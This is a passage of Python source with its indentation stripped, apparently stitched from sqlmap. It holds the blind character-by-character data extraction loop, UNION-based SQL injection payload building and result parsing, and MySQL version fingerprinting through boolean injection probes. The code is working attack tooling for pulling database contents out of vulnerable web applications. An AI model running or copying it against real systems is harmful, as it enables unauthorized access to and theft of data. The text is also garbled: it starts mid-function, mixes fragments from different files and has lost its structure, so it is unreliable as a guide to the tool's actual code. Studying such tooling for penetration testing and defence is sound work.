if len(progressTime) <= ( (length * 3) / 100 ):
eta = 0
else:
midTime = sum(progressTime) / len(progressTime)
midTimeWithLatest = (midTime + charTime) / 2
eta = midTimeWithLatest * (length - index) / conf.threads
progressTime.append(charTime)
progress.update(index)
progress.draw(eta)
# Go multi-threading (--threads > 1)
if conf.threads > 1 and isinstance(length, int) and length > 1:
value = []
threadData = getCurrentThreadData()
threadData.shared.value = [ None ] * length
threadData.shared.index = [ firstChar ] # As list for python nested function scoping
threadData.shared.start = firstChar
try:
def blindThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
kb.locks.index.acquire()
if threadData.shared.index[0] >= length:
kb.locks.index.release()
return
threadData.shared.index[0] += 1
curidx = threadData.shared.index[0]
kb.locks.index.release()
if kb.threadContinue:
charStart = time.time()
val = getChar(curidx)
if val is None:
val = INFERENCE_UNKNOWN_CHAR
else:
break
with kb.locks.value:
threadData.shared.value[curidx - 1] = val
currentValue = list(threadData.shared.value)
if kb.threadContinue:
if showEta:
etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
elif conf.verbose >= 1:
startCharIndex = 0
endCharIndex = 0
for i in xrange(length):
if currentValue[i] is not None:
endCharIndex = max(endCharIndex, i)
output = ''
if endCharIndex > conf.progressWidth:
startCharIndex = endCharIndex - conf.progressWidth
count = threadData.shared.start
for i in xrange(startCharIndex, endCharIndex + 1):
output += '_' if currentValue[i] is None else currentValue[i]
for i in xrange(length):
count += 1 if currentValue[i] is not None else 0
if startCharIndex > 0:
output = '..' + output[2:]
if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
output = output[:-2] + '..'
if conf.verbose in (1, 2) and not showEta:
output += '_' * (min(length, conf.progressWidth) - len(output))
status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
output += status if count != length else " "*len(status)
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))
runThreads(numThreads, blindThread, startThreadMsg=False)
except KeyboardInterrupt:
abortedFlag = True
finally:
value = map(lambda _: partialValue[_] if _ < len(partialValue) else threadData.shared.value[_], xrange(length))
infoMsg = None
# If we have got one single character not correctly fetched it
# can mean that the connection to the target url was lost
if None in value:
partialValue = "".join(value[:value.index(None)])
if partialValue:
infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
else:
finalValue = "".join(value)
infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))
if conf.verbose in (1, 2) and not showEta and infoMsg:
dataToStdout(infoMsg)
# No multi-threading (--threads = 1)
else:
index = firstChar
while True:
index += 1
charStart = time.time()
# Common prediction feature (a.k.a. "good samaritan")
# NOTE: to be used only when multi-threading is not set for
# the moment
if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
val = None
commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)
# If there is one single output in common-outputs, check
# it via equal against the query output
if commonValue is not None:
# One-shot query containing equals commonValue
testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
if showEta:
etaProgressUpdate(time.time() - charStart, len(commonValue))
elif conf.verbose in (1, 2):
dataToStdout(filterControlChars(commonValue[index-1:]))
finalValue = commonValue
break
# If there is a common pattern starting with partialValue,
# check it via equal against the substring-query output
if commonPattern is not None:
# Substring-query containing equals commonPattern
subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
query = agent.suffixQuery(query)
result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
incrementCounter(kb.technique)
# Did we have luck?
if result:
val = commonPattern[index-1:]
index += len(val)-1
# Otherwise if there is no commonValue (single match from
# txt/common-outputs.txt) and no commonPattern
# (common pattern) use the returned common charset only
# to retrieve the query output
if not val and commonCharset:
val = getChar(index, commonCharset, False)
# If we had no luck with commonValue and common charset,
# use the returned other charset
if not val:
val = getChar(index, otherCharset, otherCharset == asciiTbl)
else:
val = getChar(index, asciiTbl)
if val is None or ( lastChar > 0 and index > lastChar ):
finalValue = partialValue
break
if kb.data.processChar:
val = kb.data.processChar(val)
partialValue += val
if showEta:
etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in (1, 2):
dataToStdout(filterControlChars(val))
if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
finalValue = partialValue
break
except KeyboardInterrupt:
abortedFlag = True
finally:
setFormatterPrependFlag(False)
if finalValue is not None:
finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
hashDBWrite(expression, finalValue)
elif partialValue:
hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER, partialValue))
if conf.verbose in (1, 2) or showEta:
dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3:
infoMsg = "retrieved: %s" % filterControlChars(finalValue)
logger.info(infoMsg)
if kb.threadException:
raise sqlmapThreadException, "something unexpected happened inside the threads"
if abortedFlag:
raise KeyboardInterrupt
_ = finalValue or partialValue
return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(
"%s%s" % (conf.hexConvert or False, expression),
checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(
agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return reduce(lambda x, y: x if x is not None else y,
(extractRegexResult(
regex, removeReflectiveValues(page, payload),
re.DOTALL | re.IGNORECASE),
extractRegexResult(
regex,
removeReflectiveValues(
listToStrValue((
_ for _ in headers.headers
if not _.startswith(HTTP_HEADER.URI)
) if headers else None), payload, True),
re.DOTALL | re.IGNORECASE)), None)
# Automatically patching last char trimming cases
if kb.chars.stop not in (page
or "") and kb.chars.stop[:-1] in (page
or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring(
"<root>%s</root>" % output.encode(UNICODE_ENCODING))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(
r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
value.decode("base64")
except binascii.Error:
base64 = False
break
if base64:
for child in root:
child.attrib[column] = child.attrib.get(
column, "").decode("base64") or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start,
kb.chars.delimiter.join(row),
kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlunescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
retVal)
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def checkDbms(self):
"""
References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89)
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42)
* http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4)
* http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0)
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn)
"""
if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \
or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \
Backend.getVersion() != UNKNOWN_DBMS_VERSION:
setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion()))
if Backend.isVersionGreaterOrEqualThan("5"):
kb.data.has_information_schema = True
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.MYSQL
logger.info(infoMsg)
result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL")
if result:
infoMsg = "confirming %s" % DBMS.MYSQL
logger.info(infoMsg)
result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
logger.warn(warnMsg)
return False
if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None:
hashDBWrite(HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "")
# reading information_schema on some platforms is causing annoying timeout exits
# Reference: http://bugs.mysql.com/bug.php?id=15855
# Determine if it is MySQL >= 5.0.0
if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
kb.data.has_information_schema = True
Backend.setVersion(">= 5.0.0")
setDbms("%s 5" % DBMS.MYSQL)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
logger.info(infoMsg)
# Check if it is MySQL >= 5.5.0
if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
Backend.setVersion(">= 5.5.0")
# Check if it is MySQL >= 5.1.2 and < 5.5.0
elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"):
Backend.setVersionList([">= 5.1.12", "< 5.5.0"])
elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"):
Backend.setVersionList([">= 5.1.7", "< 5.1.12"])
elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"):
Backend.setVersion("= 5.1.6")
elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"):
Backend.setVersionList([">= 5.1.5", "< 5.1.6"])
else:
Backend.setVersionList([">= 5.1.2", "< 5.1.5"])
# Check if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.checkBooleanExpression("@@hostname=@@hostname"):
Backend.setVersionList([">= 5.0.38", "< 5.1.2"])
elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"):
Backend.setVersionList([">= 5.0.19", "< 5.0.38"])
elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"):
Backend.setVersionList([">= 5.0.11", "< 5.0.19"])
elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"):
Backend.setVersionList([">= 5.0.6", "< 5.0.11"])
elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"):
Backend.setVersionList([">= 5.0.3", "< 5.0.6"])
else:
Backend.setVersionList([">= 5.0.0", "< 5.0.3"])
elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"):
Backend.setVersion(">= 5.0.2")
setDbms("%s 5" % DBMS.MYSQL)
self.getBanner()
elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"):
Backend.setVersion("< 5.0.0")
setDbms("%s 4" % DBMS.MYSQL)
self.getBanner()
if not conf.extensiveFp:
return True
# Check which version of MySQL < 5.0.0 it is
if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"):
Backend.setVersionList([">= 4.1.11", "< 5.0.0"])
elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"):
Backend.setVersionList([">= 4.1.1", "< 4.1.11"])
elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"):
Backend.setVersionList([">= 4.0.6", "< 4.1.1"])
if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"):
Backend.setVersion("= 4.1.0")
else:
Backend.setVersionList([">= 4.0.6", "< 4.1.0"])
else:
Backend.setVersionList([">= 4.0.0", "< 4.0.6"])
else:
Backend.setVersion("< 4.0.0")
setDbms("%s 3" % DBMS.MYSQL)
self.getBanner()
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL
logger.warn(warnMsg)
return False